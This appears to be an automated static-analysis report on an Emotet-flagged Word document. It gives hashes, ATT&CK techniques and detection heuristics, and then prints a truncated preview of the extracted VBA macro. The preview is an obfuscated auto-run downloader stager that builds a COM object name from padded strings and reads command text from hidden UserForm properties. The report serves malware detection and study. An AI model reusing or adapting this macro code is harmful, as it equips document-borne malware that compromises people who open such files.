Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 19adf7a6f477a700…

MALICIOUS

Office (OLE)

235.2 KB Created: 2020-08-17 05:01:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 87fde8d54bad70bd46de96d5050c0d74 SHA-1: 95d5b83c390e38a6620453ec6aea02c331f58ef8 SHA-256: 19adf7a6f477a700c03e7c2a172f4e14401656b2367e8abab5e7e8f5b1ffe01e
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager, which are hallmarks of Emotet. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' and the ClamAV detection 'Doc.Downloader.Emotet-9369689-0' strongly indicate this family. The VBA script likely downloads and executes a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9369689-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9369689-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9993 bytes
SHA-256: 891869fbe63d3d645c1e25b80789f8cf4cc6463d42b0cf0eeda03fe5e99e5ee6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "B8fixc1h4yjsgp_9"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Mmj_i5pyh_7pxr_1s.Xo228p8d_roxier
End Sub


Attribute VB_Name = "Mmj_i5pyh_7pxr_1s"
Attribute VB_Base = "0{28651497-B845-4FCD-8F22-892F26BF0384}{94237A11-DD6C-4B79-A324-5BE7095D118B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Xo228p8d_roxier()
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Brdh_i8teyeq6 = Mmj_i5pyh_7pxr_1s.HelpContextId + 100
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Rup6ygyjah0aw7ii_ = ChrW(Brdh_i8teyeq6 + (100 + 35) / 9)
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Res7xy7jbm7ig5kv6e = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Rup6ygyjah0aw7ii_ + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Mmj_i5pyh_7pxr_1s.Tbx_9xtus57h + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Zo6v2enr8danmjg73d = Ucapnog8gh5in60p(Res7xy7jbm7ig5kv6e)
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Set Foaxtj0jtgu328hi2 = CreateObject(Zo6v2enr8danmjg73d)
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzfy_fqppfwjz1 & CStr(Xc2aj0zgjoj)
Oone1i99ei99sx74y = H7nzfy_fqppfwjz1
Rh0e87v6_ii5e = Mmj_i5pyh_7pxr_1s.H3l36ct470qlrpj7qg.ControlTipText
   If 791639 <> 777579 Then
N9fplhnk76yq7x = 791639 + 1989
Nik0xpmahek715j = 777579 - 2013
Else
InputBox (CStr(N9fplhnk76yq7x) & CStr(Nik0xpmahek715j))
End If
Nik0xpmahek715j = "KAjamLNcTV"
Xc2aj0zgjoj = 623691
H7nzfy_fqppfwjz1 = H7nzf
... (truncated)